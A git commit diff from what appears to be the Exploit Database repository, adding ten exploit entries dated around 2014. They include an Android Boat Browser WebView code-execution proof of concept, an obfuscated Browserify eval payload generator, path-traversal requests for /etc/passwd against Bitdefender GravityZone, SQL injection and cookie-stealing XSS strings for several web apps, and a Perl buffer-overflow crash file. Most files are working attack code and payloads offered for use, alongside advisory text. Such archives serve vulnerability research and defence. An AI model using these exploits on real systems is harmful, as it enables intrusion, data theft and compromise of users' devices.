Updated 07_18_2014
This commit is contained in:
Offensive Security
parent
ce5a91ca65
commit
bb76fb3805
11 changed files with 408 additions and 0 deletions
10
files.csv
10
files.csv
|
|
@ -30694,3 +30694,13 @@ id,file,description,date,author,platform,type,port
|
||||||
34083,platforms/php/webapps/34083.txt,"Western Digital My Book World Edition 1.1.16 'lang' Parameter Cross-Site Scripting Vulnerabilities",2009-12-30,emgent,php,webapps,0
|
34083,platforms/php/webapps/34083.txt,"Western Digital My Book World Edition 1.1.16 'lang' Parameter Cross-Site Scripting Vulnerabilities",2009-12-30,emgent,php,webapps,0
|
||||||
34084,platforms/php/webapps/34084.txt,"L2Web LineWeb 1.0.5 Multiple Input Validation Vulnerabilities",2010-01-06,"Ignacio Garrido",php,webapps,0
|
34084,platforms/php/webapps/34084.txt,"L2Web LineWeb 1.0.5 Multiple Input Validation Vulnerabilities",2010-01-06,"Ignacio Garrido",php,webapps,0
|
||||||
34085,platforms/php/webapps/34085.txt,"Gigya Socialize Plugin 1.0/1.1.x for Wordpress Cross Site Scripting Vulnerability",2010-06-04,MustLive,php,webapps,0
|
34085,platforms/php/webapps/34085.txt,"Gigya Socialize Plugin 1.0/1.1.x for Wordpress Cross Site Scripting Vulnerability",2010-06-04,MustLive,php,webapps,0
|
||||||
|
34086,platforms/linux/webapps/34086.txt,"Bitdefender GravityZone 5.1.5.386 - Multiple Vulnerabilities",2014-07-16,"SEC Consult",linux,webapps,443
|
||||||
|
34087,platforms/php/webapps/34087.txt,"Joomla Youtube Gallery Component - SQL Injection Vulnerability",2014-07-16,"Pham Van Khanh",php,webapps,80
|
||||||
|
34088,platforms/android/remote/34088.html,"Boat Browser 8.0 and 8.0.1 - Remote Code Execution Vulnerability",2014-07-16,c0otlass,android,remote,0
|
||||||
|
34090,platforms/multiple/dos/34090.py,"Node Browserify 4.2.0 - Remote Code Execution Vulnerability",2014-07-16,"Cal Leeming",multiple,dos,0
|
||||||
|
34091,platforms/php/webapps/34091.txt,"Pay Per Minute Video Chat Script 2.x SQL Injection and Multiple Cross Site Scripting Vulnerabilities",2010-01-04,R3d-D3V!L,php,webapps,0
|
||||||
|
34092,platforms/jsp/webapps/34092.txt,"JForum 2.1.8 'bookmarks' Module Multiple HTML Injection Vulnerabilities",2010-06-06,"Adam Baldwin",jsp,webapps,0
|
||||||
|
34094,platforms/windows/dos/34094.pl,"Aqua Real Screensaver '.ar' File Buffer Overflow Vulnerability",2010-01-15,R3d-D3V!L,windows,dos,0
|
||||||
|
34095,platforms/php/webapps/34095.txt,"PonVFTP 'login.php' SQL Injection Vulnerability",2010-01-15,S2K9,php,webapps,0
|
||||||
|
34096,platforms/php/webapps/34096.txt,"CuteSITE CMS 1.x manage/add_user.php user_id Parameter SQL Injection",2010-06-06,"High-Tech Bridge SA",php,webapps,0
|
||||||
|
34097,platforms/php/webapps/34097.txt,"CuteSITE CMS 1.x manage/main.php fld_path Parameter XSS",2010-06-06,"High-Tech Bridge SA",php,webapps,0
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
72
platforms/android/remote/34088.html
Executable file
72
platforms/android/remote/34088.html
Executable file
|
|
@ -0,0 +1,72 @@
|
||||||
|
<!--
|
||||||
|
.:: Remote code execution vulnerability in Boat Browser ::.
|
||||||
|
|
||||||
|
|
||||||
|
credit: c0otlass
|
||||||
|
social contact: https://twitter.com/c0otlass
|
||||||
|
mail: c0otlass@gmail.com
|
||||||
|
CVE reserved : 2014-4968
|
||||||
|
time of discovery: July 14, 2014
|
||||||
|
Browser Official site:http://www.boatmob.com/
|
||||||
|
Browser download link:https://play.google.com/store/apps/details?id=com.boatbrowser.free&hl=en
|
||||||
|
version Affected : In 8.0 and 8.0.1 tested , Android 3.0 through 4.1.x
|
||||||
|
Risk rate: High
|
||||||
|
vulnerability Description impact:
|
||||||
|
The WebView class and use of the WebView.addJavascriptInterface method has vulnerability which cause remote code in html page run in android device
|
||||||
|
a related issue to CVE-2012-6636
|
||||||
|
proof of concept:
|
||||||
|
//..............................................poc.hmtl............................................
|
||||||
|
-->
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta charset="UFT-8">
|
||||||
|
<title>CreatMalTxt POC - WebView</title>
|
||||||
|
<script>
|
||||||
|
var obj;
|
||||||
|
function TestVulnerability()
|
||||||
|
{
|
||||||
|
temp="not";
|
||||||
|
var myObject = window;
|
||||||
|
for (var name in myObject) {
|
||||||
|
if (myObject.hasOwnProperty(name)) {
|
||||||
|
try
|
||||||
|
{
|
||||||
|
temp=myObject[name].getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null);
|
||||||
|
}
|
||||||
|
catch(e)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(temp=="not")
|
||||||
|
{
|
||||||
|
document.getElementById("log").innerHTML="this browser has been patched";
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
document.getElementById("log").innerHTML = "This browser is exploitabale" + "<br>" + " the poc file hase been created in sdcard ...<br>" ;
|
||||||
|
document.getElementById("log").innerHTML += "we could see proccess information"+ temp.exec(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body >
|
||||||
|
<h3>CreatMalTxt POC</h3>
|
||||||
|
<input value="Test Vulnerability" type="button" onclick="TestVulnerability();" />
|
||||||
|
<div id="log"></div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
Solution:
|
||||||
|
https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/
|
||||||
|
http://www.programering.com/a/MDM3YzMwATc.html
|
||||||
|
https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=129859614
|
||||||
|
|
||||||
|
References:
|
||||||
|
http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/
|
||||||
|
https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/
|
||||||
|
http://50.56.33.56/blog/?p=314
|
||||||
|
https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/
|
||||||
|
https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py
|
||||||
|
-->
|
||||||
9
platforms/jsp/webapps/34092.txt
Executable file
9
platforms/jsp/webapps/34092.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
||||||
|
source: http://www.securityfocus.com/bid/40600/info
|
||||||
|
|
||||||
|
JForum is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
|
||||||
|
|
||||||
|
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
|
||||||
|
|
||||||
|
JForum 2.1.8 is vulnerable; other versions may also be affected.
|
||||||
|
|
||||||
|
https://www.example.com/forum/bookmarks/insert/2/1.page?action=insertSave&description=<XSS>&module=bookmarks&relation_id=1&relation_type=2&title=<XSS>&visible=1
|
||||||
166
platforms/linux/webapps/34086.txt
Executable file
166
platforms/linux/webapps/34086.txt
Executable file
|
|
@ -0,0 +1,166 @@
|
||||||
|
SEC Consult Vulnerability Lab Security Advisory < 20140716-3 >
|
||||||
|
=======================================================================
|
||||||
|
title: Multiple critical vulnerabilities
|
||||||
|
product: Bitdefender GravityZone
|
||||||
|
vulnerable version: <5.1.11.432
|
||||||
|
fixed version: >=5.1.11.432
|
||||||
|
impact: critical
|
||||||
|
homepage: http://www.bitdefender.com
|
||||||
|
found: 2014-05-22
|
||||||
|
by: Stefan Viehböck
|
||||||
|
SEC Consult Vulnerability Lab
|
||||||
|
https://www.sec-consult.com
|
||||||
|
=======================================================================
|
||||||
|
|
||||||
|
Vendor description:
|
||||||
|
-------------------
|
||||||
|
Bitdefender GravityZone lets enterprises control and protect the heterogeneous
|
||||||
|
environments of today. The solution combines highly optimized virtualization
|
||||||
|
aware security with leading detection technologies and a fresh, but proven,
|
||||||
|
architecture. It empowers administrators with features adapted to reduce the
|
||||||
|
daily security hassle and eliminate the need for point solutions with unified
|
||||||
|
protection across virtualized, physical, and mobile endpoints. Unlike other
|
||||||
|
solutions that bolt-on modules to an aging architecture, the GravityZone
|
||||||
|
Control Center dashboard has been designed specifically to unify monitoring
|
||||||
|
and security management in a single simple and accessible interface.
|
||||||
|
|
||||||
|
Source: http://download.bitdefender.com/resources/media/materials/business/en/datasheet-gravityzone-brief.pdf
|
||||||
|
|
||||||
|
|
||||||
|
Business recommendation:
|
||||||
|
------------------------
|
||||||
|
Attackers are able to completely compromise the Bitdefender GravityZone
|
||||||
|
solution as they can gain system and database level access.
|
||||||
|
Furthermore attackers can manage all endpoints.
|
||||||
|
|
||||||
|
The Bitdefender GravityZone can be used as an entry point into the target
|
||||||
|
infrastructure (lateral movement, privilege escalation).
|
||||||
|
|
||||||
|
It is highly recommended by SEC Consult not to use this software until a
|
||||||
|
thorough security review has been performed by security professionals and all
|
||||||
|
identified issues have been resolved.
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability overview/description:
|
||||||
|
-----------------------------------
|
||||||
|
1) Unauthenticated local file disclosure (Web Console, Update Server)
|
||||||
|
Unauthenticated users can read arbitrary files from the filesystem with the
|
||||||
|
privileges of the "nginx" operating system user. These files include
|
||||||
|
configuration files containing sensitive information such as clear text
|
||||||
|
passwords which can be used in further attacks.
|
||||||
|
|
||||||
|
Separate vulnerabilities affecting both Web Console and Update Server were
|
||||||
|
found.
|
||||||
|
|
||||||
|
|
||||||
|
2) Insecure service configuration / design issues
|
||||||
|
The MongoDB database which is offered via the network by default (TCP ports
|
||||||
|
27017, 28017) can be accessed using hardcoded credentials which can't be
|
||||||
|
changed. The overall system design requires the database to be accessible via
|
||||||
|
the network.
|
||||||
|
All relevant GravityZone configuration data can be accessed and changed. This
|
||||||
|
includes the user table.
|
||||||
|
|
||||||
|
Excerpt from the documentation describing the TCP port 27017:
|
||||||
|
"Default port used by the Communication Server and Control Center to access
|
||||||
|
the Database."
|
||||||
|
|
||||||
|
|
||||||
|
3) Missing authentication
|
||||||
|
Authentication is not required for certain scripts in the web UI. This
|
||||||
|
allows unauthenticated attackers to execute administrative functions without
|
||||||
|
prior authentication.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of concept:
|
||||||
|
-----------------
|
||||||
|
1) Unauthenticated local file disclosure (Web Console, Update Server)
|
||||||
|
Arbitrary files can be downloaded via a vulnerable script:
|
||||||
|
https://<host>/webservice/CORE/downloadFullKitEpc/a/1?id=../../../../../etc/passwd
|
||||||
|
|
||||||
|
The Update Server is vulnerable to local file disclosure as well. Arbitrary
|
||||||
|
files can be downloaded using the following HTTP request:
|
||||||
|
|
||||||
|
GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
|
||||||
|
Host: <host>:7074
|
||||||
|
|
||||||
|
2) Insecure service configuration / Design issues
|
||||||
|
Attackers can connect to MongoDB on TCP ports 27017 and 28017 using the
|
||||||
|
following hardcoded credentials:
|
||||||
|
Username: <removed>
|
||||||
|
Password: <removed>
|
||||||
|
|
||||||
|
Detailed proof of concept exploits have been removed for this vulnerability.
|
||||||
|
|
||||||
|
3) Missing authentication
|
||||||
|
Authentication is not required for the following script:
|
||||||
|
/webservice/CORE/downloadSignedCsr (Unauthenticated certificate upload)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerable / tested versions:
|
||||||
|
-----------------------------
|
||||||
|
The vulnerabilities have been verified to exist in GravityZone 5.1.5.386,
|
||||||
|
which was the most recent version at the time of discovery.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Vendor contact timeline:
|
||||||
|
------------------------
|
||||||
|
2014-05-26: Sending responsible disclosure policy and requesting encryption
|
||||||
|
keys.
|
||||||
|
2014-05-26: Vendor responds providing encryption keys.
|
||||||
|
2014-05-26: Sending advisory and proof of concept exploit via encrypted
|
||||||
|
channel.
|
||||||
|
2014-05-26: Vendor confirms receipt.
|
||||||
|
2014-06-04: Requesting status update.
|
||||||
|
2014-06-14: Vendor provides status update. Update will be released "End of
|
||||||
|
June".
|
||||||
|
2014-06-26: Vendor provides status update. Update for issue #1 and #3 will
|
||||||
|
be released June 30. Update for issue #2 will be released at the
|
||||||
|
end of July.
|
||||||
|
2014-06-27: Requesting info about other affected products. Clarifying
|
||||||
|
disclosure of issue #2.
|
||||||
|
2014-07-09: Vendor confirms that update for issue #1 and #3 has been shipped
|
||||||
|
and KB article for issue #2 will be released.
|
||||||
|
2014-07-15: Requesting version numbers of affected products.
|
||||||
|
2014-07-16: SEC Consult releases coordinated security advisory.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Solution:
|
||||||
|
---------
|
||||||
|
Update to a more recent version of Bitdefender GravityZone _and_
|
||||||
|
implement mitigations for the issue #2.
|
||||||
|
|
||||||
|
More information can be found at:
|
||||||
|
http://www.bitdefender.com/support/how-to-configure-iptables-firewall-rules-on-gravityzone-for-restricting-outside-access-to-mongodatabase-1265.html
|
||||||
|
|
||||||
|
|
||||||
|
Workaround:
|
||||||
|
-----------
|
||||||
|
No workaround available.
|
||||||
|
|
||||||
|
|
||||||
|
Advisory URL:
|
||||||
|
-------------
|
||||||
|
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
|
||||||
|
|
||||||
|
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
SEC Consult Vulnerability Lab
|
||||||
|
|
||||||
|
SEC Consult
|
||||||
|
Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius
|
||||||
|
|
||||||
|
Headquarter:
|
||||||
|
Mooslackengasse 17, 1190 Vienna, Austria
|
||||||
|
Phone: +43 1 8903043 0
|
||||||
|
Fax: +43 1 8903043 15
|
||||||
|
|
||||||
|
Mail: research at sec-consult dot com
|
||||||
|
Web: https://www.sec-consult.com
|
||||||
|
Blog: http://blog.sec-consult.com
|
||||||
|
Twitter: https://twitter.com/sec_consult
|
||||||
|
|
||||||
|
EOF Stefan Viehböck / @2014
|
||||||
43
platforms/multiple/dos/34090.py
Executable file
43
platforms/multiple/dos/34090.py
Executable file
|
|
@ -0,0 +1,43 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Browserify POC exploit
|
||||||
|
|
||||||
|
http://iops.io/blog/browserify-rce-vulnerability/
|
||||||
|
|
||||||
|
To run, just do:
|
||||||
|
|
||||||
|
$ python poc.py > exploit.js
|
||||||
|
$ browserify exploit.js
|
||||||
|
BITCH I TOLD YOU THIS SHIT IS FABULOUS
|
||||||
|
[[garbage output]]
|
||||||
|
},{}]},{},[1]) 00:08:32 up 12:29, 3 users, load average: 0.00, 0.02, 0.05
|
||||||
|
uid=1001(foxx) gid=1001(foxx) groups=1001(foxx),27(sudo),105(fuse)
|
||||||
|
|
||||||
|
You can also spawn() and create a connect back shell.
|
||||||
|
|
||||||
|
Enjoy
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
def charencode(string):
|
||||||
|
encoded=''
|
||||||
|
for char in string:
|
||||||
|
encoded=encoded+","+str(ord(char))
|
||||||
|
return encoded[1:]
|
||||||
|
|
||||||
|
plaintext = """
|
||||||
|
var require = this.process.mainModule.require;
|
||||||
|
var sys = require('sys')
|
||||||
|
var exec = require('child_process').exec;
|
||||||
|
function puts(error, stdout, stderr) { sys.puts(stdout) }
|
||||||
|
exec("uptime && id", puts);
|
||||||
|
console.log("BITCH I TOLD YOU THIS SHIT IS FABULOUS");
|
||||||
|
"""
|
||||||
|
|
||||||
|
payload = charencode(plaintext)
|
||||||
|
final = "eval(String.fromCharCode(%s));" %(payload)
|
||||||
|
|
||||||
|
print "});"
|
||||||
|
print final
|
||||||
|
print "(function(){"
|
||||||
51
platforms/php/webapps/34087.txt
Executable file
51
platforms/php/webapps/34087.txt
Executable file
|
|
@ -0,0 +1,51 @@
|
||||||
|
# Exploit Title: Joomla component com_youtubegallery - SQL Injection
|
||||||
|
vulnerability
|
||||||
|
# Google Dork: inurl:index.php?option=com_youtubegallery
|
||||||
|
# Date: 15-07-2014
|
||||||
|
# Exploit Author: Pham Van Khanh (phamvankhanhbka@gmail.com)
|
||||||
|
# Vendor Homepage: http://www.joomlaboat.com/youtube-gallery
|
||||||
|
# Software Link: http://www.joomlaboat.com/youtube-gallery
|
||||||
|
# Version: 4.x ( 3.x maybe)
|
||||||
|
# Tested on: newest version 4.1.7 on Joomla 1.5, 2.5, 3
|
||||||
|
# CVE : CVE-2014-4960
|
||||||
|
|
||||||
|
Detail:
|
||||||
|
In line: 40, file: components\com_youtubegallery\models\gallery.php,
|
||||||
|
if parameter listid is int (or can cast to int), $listid and $themeid
|
||||||
|
will not santinized.
|
||||||
|
Source code:
|
||||||
|
40: if(JRequest::getInt('listid'))
|
||||||
|
41: {
|
||||||
|
42: //Shadow Box
|
||||||
|
43: $listid=JRequest::getVar('listid');
|
||||||
|
44:
|
||||||
|
45:
|
||||||
|
46: //Get Theme
|
||||||
|
47: $m_themeid=(int)JRequest::getVar('mobilethemeid');
|
||||||
|
48: if($m_themeid!=0)
|
||||||
|
49: {
|
||||||
|
50: if(YouTubeGalleryMisc::check_user_agent('mobile'))
|
||||||
|
51: $themeid=$m_themeid;
|
||||||
|
52: else
|
||||||
|
53: $themeid=JRequest::getVar('themeid');
|
||||||
|
54: }
|
||||||
|
55: else
|
||||||
|
56: $themeid=JRequest::getVar('themeid');
|
||||||
|
57: }
|
||||||
|
After, $themeid and $listid are used in line 86, 92. Two method
|
||||||
|
getVideoListTableRow and getThemeTableRow concat string to construct
|
||||||
|
sql query. So it is vulnerable to SQL Injection.
|
||||||
|
Source code:
|
||||||
|
86: if(!$this->misc->getVideoListTableRow($listid))
|
||||||
|
87: {
|
||||||
|
88: echo '<p>No video found</p>';
|
||||||
|
89: return false;
|
||||||
|
90: }
|
||||||
|
91:
|
||||||
|
92: if(!$this->misc->getThemeTableRow($themeid))
|
||||||
|
93: {
|
||||||
|
94: echo '<p>No video found</p>';
|
||||||
|
95: return false;
|
||||||
|
96: }
|
||||||
|
|
||||||
|
# Site POF: http://server/index.php?option=com_youtubegallery&view=youtubegallery&listid=1&themeid=1'&videoid=ETMVUuFbToQ&tmpl=component&TB_iframe=true&height=500&width=700
|
||||||
16
platforms/php/webapps/34091.txt
Executable file
16
platforms/php/webapps/34091.txt
Executable file
|
|
@ -0,0 +1,16 @@
|
||||||
|
source: http://www.securityfocus.com/bid/40585/info
|
||||||
|
|
||||||
|
Pay Per Minute Video Chat Script is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
|
||||||
|
|
||||||
|
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||||
|
|
||||||
|
Cross-site scripting:
|
||||||
|
|
||||||
|
http://www.example.com/P47H/admin/memberviewdetails.php?id=%3E%22%3E%3CScRiPt%20%0a%0d%3Ealert(666)%3B%3C/ScRiPt%3E
|
||||||
|
|
||||||
|
http://www.example.com/P47H/videos.php?model=%3E%22%3E%3CScRiPt%20%0a%0d%3Ealert(666)%3B%3C/ScRiPt%3E
|
||||||
|
|
||||||
|
|
||||||
|
SQL-injection:
|
||||||
|
|
||||||
|
http://www.example.com/P47H/index_ie.php?page=-666
|
||||||
9
platforms/php/webapps/34095.txt
Executable file
9
platforms/php/webapps/34095.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
||||||
|
source: http://www.securityfocus.com/bid/40608/info
|
||||||
|
|
||||||
|
PonVFTP is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||||
|
|
||||||
|
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||||
|
|
||||||
|
The following example data is available:
|
||||||
|
|
||||||
|
password: 'or' 1=1
|
||||||
9
platforms/php/webapps/34096.txt
Executable file
9
platforms/php/webapps/34096.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
||||||
|
source: http://www.securityfocus.com/bid/40612/info
|
||||||
|
|
||||||
|
CuteSITE CMS is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.
|
||||||
|
|
||||||
|
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||||
|
|
||||||
|
CuteSITE CMS 1.5.0 is vulnerable; prior versions may also be affected.
|
||||||
|
|
||||||
|
http://www.example.com/manage/add_user.php?user_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,user%28%29,15,16
|
||||||
9
platforms/php/webapps/34097.txt
Executable file
9
platforms/php/webapps/34097.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
||||||
|
source: http://www.securityfocus.com/bid/40612/info
|
||||||
|
|
||||||
|
CuteSITE CMS is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.
|
||||||
|
|
||||||
|
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||||
|
|
||||||
|
CuteSITE CMS 1.5.0 is vulnerable; prior versions may also be affected.
|
||||||
|
|
||||||
|
http://www.example.com/manage/main.php?fld_path=XXX%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
|
||||||
14
platforms/windows/dos/34094.pl
Executable file
14
platforms/windows/dos/34094.pl
Executable file
|
|
@ -0,0 +1,14 @@
|
||||||
|
source: http://www.securityfocus.com/bid/40606/info
|
||||||
|
|
||||||
|
Aqua Real Screensaver is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.
|
||||||
|
|
||||||
|
Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the vulnerable application. Failed attacks will cause denial-of-service conditions.
|
||||||
|
|
||||||
|
Aqua Real 1 and 2 are vulnerable; other versions may also be affected.
|
||||||
|
|
||||||
|
#!c/perl/bin/
|
||||||
|
my $file= "Crash.ar";
|
||||||
|
my $boom="\x41" x 5000;
|
||||||
|
open(myfile,'>>Crash.ar') || die "Cannot Creat file\n\n";
|
||||||
|
print myfile $boom;
|
||||||
|
print "Done..!~#\n";
|
||||||
Loading…
Add table
Reference in a new issue